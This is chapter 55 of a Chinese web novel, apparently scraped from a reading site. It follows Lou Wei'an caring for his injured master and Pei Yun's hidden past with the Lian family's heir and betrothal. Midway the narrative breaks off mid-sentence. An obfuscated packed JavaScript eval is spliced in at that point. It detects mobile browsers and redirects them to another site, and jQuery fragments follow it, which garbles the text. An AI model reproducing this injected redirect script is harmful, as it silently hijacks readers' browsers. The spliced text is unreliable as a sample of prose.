55. 第 55 章

作品:《成为东清酒,我拒绝很多人

    “云想楼。”楼为桉答道,目光落在她苍白的脸上,语气带着几分安抚,“是东清酒的地盘,这家酒肆,其实是徒儿帮她开起来的,师傅您安心在这休息,对外只说是普通酒肆,没人会怀疑这里藏着人。”


    “东清酒?”月如雪眉梢微挑,“是汀州东家的那个东清酒?”


    “嗯。”楼为桉点点头,拿起桌上的药碗,用勺子轻轻搅动着,药汁的热气袅袅升起,带着苦涩的香气,“师傅,药要趁热喝,凉了就没效果了。”


    他舀起一勺药汁,放在唇边吹了吹,确认温度适宜后,才递到月如雪嘴边,准备喂她。


    “为桉。”月如雪反而轻轻按住他的手腕,目光沉静地看着他,一字一句道,“那姑娘很好,你不适合她。”


    楼为桉拿勺子的手猛地一顿,搅动药汁的动作停在了半空。


    药碗里的药汁泛起细微的涟漪,映着他眼底一闪而过的复杂情绪,有惊讶,有不甘,还有一丝不愿承认的慌乱。


    但他很快收敛了神色,继续搅动着药汁,声音听不出太多波澜:“师傅说什么呢,徒儿知晓。”


    月如雪看着他故作平静的模样,终究没再多说,张口喝下了那勺药汁。苦涩的味道在舌尖蔓延,她却面不改色,只是默默配合着楼为桉的动作,一勺一勺地将药汁喝完。


    待碗底见空,楼为桉放下药碗,才又提起方才的疑问,语气里带着几分急切,也藏着一丝不易察觉的释然:“师傅,到底是谁伤的你?那人武功路数如何?”


    他问这句话,其实也是在为自己的心寻求解脱。


    昨日他不分青红皂白地认定东清酒是凶手,如今师傅醒来,只要凶手另有其人,他的误会便有了说辞,心里的愧疚也能轻一分。


    月如雪闭上眼,回忆着那晚交手的情景,眉头不自觉地蹙起,眼神变得凝重:“是个男人。”她缓缓开口,声音带着几分后怕,“武功极高,远在我之上,交手时,他的招式狠辣果决,招招致命,我连还手的余地都没有,只勉强挡了几招,便被他重伤。”


    楼为桉闻言,心头一沉。能将师傅伤成这样,对方的实力定然不容小觑。但同时,他心里又悄悄松了口气。


    幸好不是东清酒。可转念一想,又生出新的疑惑,师傅的藏身之处极为隐蔽,那人又是如何找到的?


    “师傅受伤后,东清酒为何会在您身边?”他忍不住追问,“她怎么会找到那个地方?”


    “不清楚。”月如雪摇了摇头,眼底也满是困惑,“那地方极为偏僻,是你小时候走失后,我找到你的地方,除了我们师徒二人,再无旁人知晓,一个小姑娘,怎么会恰好出现在那里,还撞见了受伤的我?”


    没人知道,月如雪并非在楼为桉进入相府后才与他相识。


    当年他与家人走散,流落街头,是月如雪一直悄悄徘徊在他身边,暗中护他周全。


    直到楼曲首看中了楼为桉的资质,想要将他收为己用,她才主动现身,收他为徒,借着师徒之名,继续留在他身边,执行着早已谋划好的计划。


    “徒儿下次见到她,定要问问清楚。”楼为桉攥了攥拳,眼神坚定。不管东清酒是无意还是有意,这件事都透着蹊跷。


    月如雪看着他的模样,轻轻点了点头,转而问道:“东家的事,你处理得怎么样了?楼相那边,没有起疑吧?”


    “师傅放心。”楼为桉立刻收敛了情绪,语气沉稳地答道,“楼相让徒儿做的事,还有您吩咐的那些安排,徒儿都一一办妥了,没有露出任何破绽,楼相那边并未起疑,您现在什么都不用想,安心养伤就好,剩下的事,有徒儿在。”


    月如雪闻言,满意地点了点头,闭上眼睛,靠在软垫上休息。


    屋内再次恢复了安静,只有窗外偶尔传来的鸟鸣,和远处隐约的酒肆喧嚣,交织成一片平和的假象。


    而楼为桉站在床边,看着师傅疲惫的睡颜,脑海里却反复回响着她方才的话“那姑娘很好,你不适合她”,还有东清酒躲在连衡身后,对他满是戒备的模样,心头像是被什么东西堵住了,闷闷的,说不出滋味。


    东清酒捧着一碗温热的杏仁茶,小口啜饮着,眉眼弯成了月牙。


    连衡坐在对面,面前的豆沙包还没动,目光却一瞬不瞬地黏在她身上,见她嘴角沾了点茶渍,伸手递过一方干净的锦帕,声音温柔得能融进晨雾里:“慢点喝,没人跟你抢。”


    东清酒脸颊一红,接过锦帕擦了擦嘴角,刚想开口说些什么,一阵清脆的马蹄声伴着车轱辘滚动的声响从街尾传来。


    一辆装饰华贵的马车缓缓驶过,车窗的珠帘被轻轻掀开,露出两张姣好的面容。


    “连夫人,您看!”蔺昭宁指着茶铺里的两人,语气带着几分惊讶与不易察觉的试探,“那位不是连小侯爷吗?他旁边的女子,好像是我那姑姑的女儿,东清酒,他们何时竟如此亲密了?”


    坐在她身旁的裴韵,闻言指尖微微一顿。“东清酒”三个字像一颗石子,投进她沉寂多年的心湖,泛起圈圈涟漪。


    她缓缓抬起帘幕,目光穿过晨雾,精准地落在东清酒脸上。


    那眉眼,竟与当年的寇缦有七八分相似,一样的杏眼弯弯,一样的鼻尖小巧,连笑起来时嘴角的梨涡,都如出一辙。


    裴韵的心头猛地一揪,过往的记忆如潮水般涌来,带着几分物是人非的感慨。


    她沉默了片刻,终究什么也没说,轻轻放下帘幕,将那抹熟悉的身影隔绝在外,眼底只剩一片深不见底的寒凉。


    蔺昭宁见裴韵毫无反应,像是被无视了一般,心头顿时涌上一股不悦。


    她并非真的喜欢连衡,只是从小便觉得,这位天之骄子般的小侯爷,理应是属于自己圈子里的所有物,如今他却对一个名不见经传的东清酒另眼相看,那种被人夺走东西的不适感,让她浑身难受。她本想借着这话挑拨裴韵,让她出面拆散两人,谁知竟吃了个闭门羹,脸色不由得沉了几分。


    马车继续前行,车厢内一片寂静。


    裴韵靠在软垫上,闭着眼,脑海里全是东清酒的模样,还有那些尘封的往事。按说儿子能找到心仪之人,她本该开心,可一想到东清酒,她的脸上便只剩冷漠。


    当年,寇缦还在的时候,她们是无话不谈的好友,一起赏花弄月,一起诉说心事。


    可谁曾想,寇缦竟死于一场突如其来的意外,徒留她一人怅然。


    而更让她难以释怀的,是东清酒与连家的渊源,当年,与东清酒指腹为婚的,并非连衡,而是她的长子,连屹。


    那年连屹三岁,跟着家人外出上香时不慎走失。她疯了似的到处寻找,哭着求丈夫连舒动用官家力量帮忙,可连舒为了所谓的官名,怕被人诟病“治家不严”,竟断然拒绝。


    她又去求裴家的族人,可茫茫人海,终究是寻而未果。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959888|190547||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    连舒见她终日以泪洗面,便想将此事不了了之。为了“补偿”她,也为了稳固自己的地位,他很快便让她再次怀孕,生下了连衡。从那以后,对外,连衡便替代了连屹的一切,承袭了本该属于连屹的爵位,也承接了与东清酒的婚事。


    这件事,东清酒一无所知,连衡自己也被蒙在鼓里。


    所有的秘密,所有的苦水,都被裴韵烂在了肚子里,独自吞咽了这么多年。


    本以为日子能就这么平静地过下去,谁知连衡出生没多久,一场更狗血的剧情降临在她头上。连舒竟带着他的外室纯娘,还有一个已经五岁的儿子连遥之,堂而皇之地住进了连府。


    那一天,对裴韵来说,无异于晴天霹雳。她出身将门,性情刚烈,如何能忍受丈夫的背叛?她当即提出和离,态度坚决。


    可连舒却下了最后通牒,想用孩子留住她:“要和离可以,连衡必须留在连府。”


    “连舒,你真是好狠的心!”裴韵气得浑身发抖,泪水夺眶而出,“衡儿还这么小,离不开母亲,你那外室能真心待他吗?你怎能如此狠心!”


    “纯娘性子温顺,定会对衡儿视如己出,这你大可放心。”连舒语气平淡,仿佛在说一件无关紧要的事,“倒是你,如此狠心,舍得丢下这么小的孩子?”


    裴韵忽然笑了起来,笑得眼泪直流,状若疯魔:“你拿我儿要挟我?连舒,我偏不如你意!我不同你和离,我要留在连府,与你一同过下去!你说,有我这个‘正妻’在你枕边,你还能睡得安稳吗?”她的声音带着几分凄厉,“我若和离,倒是给你和你那外室腾了地方,可你不愿,非要拖上我的衡儿,那就别怪我玉石俱焚,我们谁也别想好过!”


    连舒被她的决绝吓住了。


    他深知裴韵的性子,一旦真的逼急了,她什么事都做得出来。


    更何况,裴韵是将门之后,她的娘家在朝堂上颇有势力,对他的政绩能有不少助力,远比出身低微的纯娘有用得多。他也知道,裴韵心软,最舍不下的就是连衡,所以才敢用孩子作为筹码。


    对一个母亲来说,孩子永远是最致命的软肋。


    裴韵最终还是妥协了,没有和离。


    后来,她收养了孤女连思慕,将一部分母爱倾注在这个女孩身上,连舒对此也没什么意见,甚至对连思慕颇为疼爱。


    可即便如此,连舒还是躲了她十年,两人同处一个府邸,却形同陌路。


    而裴韵,也始终没能原谅他的背叛。


    连舒也不敢真的对她怎样,毕竟,裴家的势力还在,连衡更是他如今最看重的继承人。


    从那天起,裴韵便搬回了自己的院子,一心照料连衡。


    连衡能有今日的地位,能成为连府名正言顺的继承人,能被众人称为“天之骄子”,背后全是裴韵用娘家势力和自己的隐忍换来的后盾。


    而纯娘和连遥之,无论如何讨好,如何钻营,也永远攀登不上连衡所在的高峰,只能在阴影里觊觎着不属于自己的一切。


    马车渐渐驶远,裴韵睁开眼,眼底的冷漠中多了几分复杂。


    东清酒的出现,像是一把钥匙,打开了她尘封多年的记忆。她的衡儿,终究还是和东清酒有了牵扯,可这段渊源背后,藏着太多的秘密与伤痛,她该如何面对?又该如何保护连衡?


    车厢内的寂静,仿佛比窗外的晨雾还要浓重,压得人喘不过气来。